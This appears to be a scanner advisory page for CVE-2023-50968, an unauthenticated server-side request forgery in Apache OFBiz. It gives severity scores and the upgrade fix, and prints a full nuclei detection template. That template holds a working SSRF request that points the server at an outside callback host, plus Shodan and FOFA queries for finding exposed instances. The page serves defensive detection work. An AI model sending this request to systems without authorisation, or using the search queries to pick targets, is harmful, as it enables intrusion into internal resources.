Apache OFBiz < 18.12.11 - Server Side Request Forgery

highseverity

7.5CVSS score

63.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Arbitrary file properties reading vulnerability in Apache Software Foundation Apache OFBiz when user operates an uri call without authorizations. The same uri can be operated to realize a SSRF attack also without authorizations. Users are recommended to upgrade to version 18.12.11, which fixes this issue.

Impact

Unauthenticated attackers can read arbitrary file properties and perform SSRF attacks, potentially accessing sensitive internal resources or configuration files.

Fix

Upgrade Apache OFBiz to version 18.12.11 or later.

How to confirm it

Send: POST /partymgr/control/{{path}}
Positive when: contains in interactsh_protocol "http" AND contains in header "OFBiz.Visitor="

Run it with nuclei: nuclei -id CVE-2023-50968 -u <target>

The full check

id: CVE-2023-50968

info:
  name: Apache OFBiz < 18.12.11 - Server Side Request Forgery
  author: your3cho
  severity: high
  description: |
    Arbitrary file properties reading vulnerability in Apache Software Foundation Apache OFBiz when user operates an uri call without authorizations. The same uri can be operated to realize a SSRF attack also without authorizations. Users are recommended to upgrade to version 18.12.11, which fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary file properties and perform SSRF attacks, potentially accessing sensitive internal resources or configuration files.
  remediation: |
    Upgrade Apache OFBiz to version 18.12.11 or later.
  reference:
    - https://lists.apache.org/thread/x5now4bk3llwf3k58kl96qvtjyxwp43q
    - http://www.openwall.com/lists/oss-security/2023/12/26/2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50968
    - https://issues.apache.org/jira/browse/OFBIZ-12875
    - https://ofbiz.apache.org/download.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-50968
    cwe-id: CWE-918,CWE-200
    epss-score: 0.63373
    epss-percentile: 0.99216
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2023,apache,ofbiz,ssrf,vkev,vuln
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /partymgr/control/{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{parameter}}={"http://{{interactsh-url}}/api":"{{str}}"}

    payloads:
      path:
        - getJSONuiLabel
        - getJSONuiLabelArray

      parameter:
        - requiredLabel
        - requiredLabels

    attack: clusterbomb
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: header
        words:
          - 'OFBiz.Visitor='

References

Use this check only on systems you are authorised to test. Where the data comes from